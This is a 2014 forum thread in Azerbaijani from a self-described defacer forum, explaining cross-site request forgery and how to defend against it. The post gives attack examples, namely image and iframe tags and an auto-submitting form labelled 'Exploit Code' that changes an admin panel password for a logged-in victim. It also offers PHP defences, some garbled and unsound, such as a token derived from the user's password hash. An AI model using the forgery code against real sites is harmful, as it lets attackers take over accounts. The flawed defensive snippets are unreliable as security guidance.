Anti-armenia.ORG - Forumlar - CSRF Acığı



Istifadəçi
    2014-01-02 12:44 GMT                 

HYP3R!4



İstifadəçi
Mesaj Sayı : 26
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : Programmer & Defacer
Yaş :
Mesaj :

Mövzunu Paylaş!


CSRF ( XSRF , Cross Site Request Forgery - Cross Site Reference Forgery ) Nədir ?

Başlamadan əvvəl sizə qısaca bir CSRF ( XSRF ) yəni Cross Site Request Forgery Nədir ? , Ondan bəhs etmək istəyirəm. Cross Site Request Forgery ( digər adlarıyla XSRF , CSRF və Cross Site Reference Forgery ) Browser javascript işlətmə dəstəyiylə kəslərə istənilənin xaricində serverə əmr yollanmasını təmin edən kodları seçin. Sitemiz və ya sistemimiz bu əmrlər üçün ümumiyyətlə URL 'lerden faydalanar. (Nümunə: https://www.domainsite.com/managemen...urk&submited=1 ) bizdə bunu bildiyimiz üçün bundan yararlanıcaz və ya formalar meydana gətirərək işlemimizi reallaşdıracağıq. Onsuz da amacımızdan bu əməliyyatları reallaşdıra səlahiyyətə malik olan kəsləri iclas açmış vəziyyətdəykən istifadə edərək onlar yerinə öz kodlarımızı Etibarlı kodlarmış kimi istifadəçini istifadə edərək göndərməkdir və bu hücumları html və ya javascript kodları istifadə işləməsini təmin edə bilərik. (Nümunə: <img src = " https://www.domainsite.com / managemen ... urk & verify_pas s = corsanturk & submited = 1 " >)

Hücum Şekilleri 1:

Saldırganımız əvvəldən hücum üçün hazırladığı sitemizi qurbana yollar qurban gəzərkən qurbanın domain saytında əməliyyat etməsi üçün ya bir təşviq bilər saldırganımız , online olduğu bir zamanı seçə və ya qurbanın işi çıxıb girə bilər girdiyi anda online olduğu üçün yəni çevirim içi saytın kod qisiminə yerləşdirilmiş olan (Örn: < img src = " https://www.domainsite.com/managemen...urk&verify_pas s = corsanturk & submited = 1 "> , < iframe src = " https://www.domainsite.com/managemen...urk&verify_pas s = corsanturk & submited = 1 "> ) kimi html kodları və ya formlarla ( javascript ilə ) saldırganımız öz adına adamın serverə kodları yollamasını təmin edir .. Sonra olacaq olan şifrənin dəyişməsidir. Bundan sonra təcavüzkar bunu istər başqa bir java və ya php codeyle əməliyyatın reallaşdığını ya bir mail ilə ya bir sniffer ilə və ya kompüterinə bir log gönderterek öyrənməsi çox sadə ..

Və kullanıcımızın bütün domaini gedir. Niyə? Çünki özü üçün lazımlı tədbirləri almamış ən sadəsi no - addon eklentisiyle Mozillanın o javascript kodu işini engelleyebilirdi html kodlarına da bilinməyən əlaqələri maneə törədərək tədbir ala bilərdi ..

Hücum Şekilleri 2:

Bu hücum şeklimizde də yuxarıda bəhs etdiyimiz formlarla hücum şəklini qısaca gösterim ...
Məsələn vhcs panelimizde olan bir csrf ilə təcavüzkarın nələr edə biləcəyini gösterim .

Exploit Code:

kod:

<script type="text/javascript">
function corsanturk () {
document.forms [ 0]. submit ();
}
</ script>

</ HEAD>
<body onLoad="corsanturk()">
<corsanturk> <html> <body>
<form name="client_change_pass_frm" method="post" action="http://www.siteadress.com/admin/change_password.php">
< input type = " password" name = "pass " class = " textinput "
value = " passherre ">
<input type="password" name="pass_rep" class="textinput" value="passhere">
<input type="hidden" name="uaction" value="updt_pass">
<input type="hidden" name="Submit" value="Update password">

</ html > < / body > < / corsanturk >

Exploit kodunuzu yuxarıda göründüyü kimidir burada javascript kodu köməyiylə təcavüzkar tərəfindən istifadəçiyə . Html şəklində göndərilərək online yəni aktiv halda olan istifadəçinin server a şifrə dəyişdirmə istəyində olmasını təmin edə bilərik. Bunun nəticəsində panel şifrəsi dəyişdi. Yenə qurban əlindəkini itirdi ... Özünüzdə bu hücum şəkillərini çoxalda mən ən çox istifadə edilən 2 metoddan göstərdim ...

XSS və CSRF arasında əlaqələr :

XSS və XSRF bir-birini çox yaxşı tamamlaya bunu belə izah etdiyimdə sanaram hər kəs anlaya bilər məs : bir saytın şifrə dəyişmə üzərinə yazılmış bir xsrf açığı varsa və istifadəçi adı da lazımdırsa bununda eyni səhifəyə yerləşdirilmiş XSS koduyla asanlıqla ala bilərik yəni bu 2 hücum üsulu əslində bir-birinə çox köməkçi üsullardır ...

XSRF -dən Qorunma Üsulları :

3 və daha çox üsulu vardır indi bunları açıklıcam .

1.CSRF $ _POST Token Qoruması

Bunu sizlərə addım-addım izah daha məntiqli və də açıqlayıcı gəldiyi üçün belə anlatcam ..

1. adım :

Bu kodu bütün <form method="post"> kodlarından sonra echo ( ) içərisində əlavə əhəmiyyətlidir:
code:
kod:

<input type="hidden" name="token" value="".$_SESSION['token']."" />

2. adım :
Bu kodu config faylına əlavə edin
code:
kod:

if ( isset ($ _USER [' id '] )) { / / your function to check if a user is logged in
if ( empty ($ _SESSION [' token '] ) | |! isset ($ _SESSION [' token '] )) { / / if there is no token set
$ _SESSION [' Token '] = strrev ( md5 ($ _USER [' password'] )); / / set a token with a reverse string and md5 encryption of the user 'S password
}
if ( CSRF_PROTECTED ! = false) {/ / if you did not define CSRF_PROTECTED as false
if ($ _POST ) { / / if there is a form present
if ($ _POST [' token ']! = $ _SESSION [' token '] ) { / / if the input token does not equal the session token
header ( "Location : / index.php "); / / redirect to index
die (); / / stops all $ _POST data from being sent
}
}
}
}

3. adım :
Bu kodu da bütün include ilə config fayllarını çəkən php fayllarına əlavə edin ..

kod:

define ( " CSRF_PROTECTED " , false) ;

2. CSRF Captcha qorunması:

Captcha ( Completely Automated Public Turing test to tell Computers and Humans Apart ) qısaca adamın üzv olarkən və ya bir əməliyyatı edərkən qarşısına çıkna dəyişən sayı və rəqəmlərdən ibarət olan şəkillərdir. Bu şəkilləri bir forma da lazımlı yerə yazmadığımız müddətcə o əməliyyat tamamlanmayacağı üçün csrf hücumları üçün bir qoruma təşkil etməkdədir. Amma bundan əvvəl eğerki bu quraşdırılması onsuz da reallaşdırmaq istəyirsinizsə təsirli istifadəsi olan bir captcha istifadə təklif edərəm çünki bəzi sistemlər captcha qoyduğu halda eyni kodlar göstərilib dayanır və ya bu kodlar oxuna bilir bu səhvə düşdükdən sonra heç bir mənası olmaz captcha yı istifadə etmənin ...

3. Browser Təhlükəsizliyi:

Bunla da çox etibarlı də olmasa da özümüz bir təhlükəsizlik yarada Örn: javascript kodları ilə edilən hücumlara qarşı javascript kodlarının işini önləyərək və ya html kodları edilən hücumlara qarşı yönlenecek saytları maneə törədərək və ya öz təyin kodların filtr ilə süzmesini təmin maneə törədilə bilər ...

4. HTTP_REFERER ilə Bloklama :

Yəni sizin istəmədiyiniz url dən gələn istəkləri rədd edərək bu kodları göndərən adamı fərqli bir səhifəyə istiqamətləndirmə əməliyyatı ilə csrf üsullarını maneə törətmə texnikasıdır ..
Bunu aşağıdakı kodlarla təmin edə bilərik Məsələn:

kod:

<? php
if ( strstr ($ _SERVER [' HTTP_REFERER '] , " http://www.google.com.tr " )) {
header ( "Location : http://www.corsanturk.org/ ");
} Else {
header ( "Location : http://www.grayhatz.org/ ");
}
? >

Burada google.com.tr dən gəlməyən bir istəyi grayhatz.org ' a istiqamətləndirəcək amma google.com.tr dən gələn istege corsanturk.org u açacaq bu qədər sadə ...

5. URL Rewrite :

URL Rewrite texnikası qısaca açıqlamaq lazım olsa , saytımızdakı Url leri ? ID = 30 şəklindən daha mənalı olan baslik.html şəklinə çevirmə əməliyyatıdır. Bunu etmək uzun və uğraşlı ola biləcəyindən və tam nəticə alınamayacağından bir tövsiyə edə bilmərəm ...

6. Get yerinə Post İstifadəsi:

Get yerinə Post istifadə yuxarıdakı birinci hücumu təsirsiz qılmağa yaraya bilər yəni post istifadəsində <img src=""> ilə şəkil paylaşmasına icazə verilə bilər buda yuxarıdakı hücumun şəkil olaraq görünməsinə və də x yəni səhv url olduğunu müəyyən etməsini təmin edər lakin təcavüzkar bunu javascript kodlarıyla atlatabileceği üçün tövsiyə edə bilmərəm ...

7. <input type="hidden"> ilə Qorunma:

Bu kodumuzla saytımızın qaynaq qisiminə yerleştirebileceğimiz müxtəlif dəyişən dəyərlər ( Nümunə : md5 , hər hansı başqa dəyərlər) bu üsulun təsirsiz qalmasını təmin edə bilər bu ən çox tövsiyə edə biləcəyim yöntemlerdendir ..

Anti-armenia.ORG
    

Istifadəçi
    2014-01-05 00:41 GMT                 

Ferid23



Admin
Mesaj Sayı : 1875
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Anti-armenia.ORG
Ölkə :
Məslək : Programmer & Defacer
Yaş : 12
Mesaj :

Mövzunu Paylaş!


Təşəkkür

AZ Domaini İhbar Hattı (Azərbaycan saytlarında olan boşluqları bizə bildirin): http://anti-armenia.org/forums.php?m=posts&q=572
Qaydalar (Saytın qayda-qanunlarını oxuyaraq əməl edin)
Anti-armenia.ORG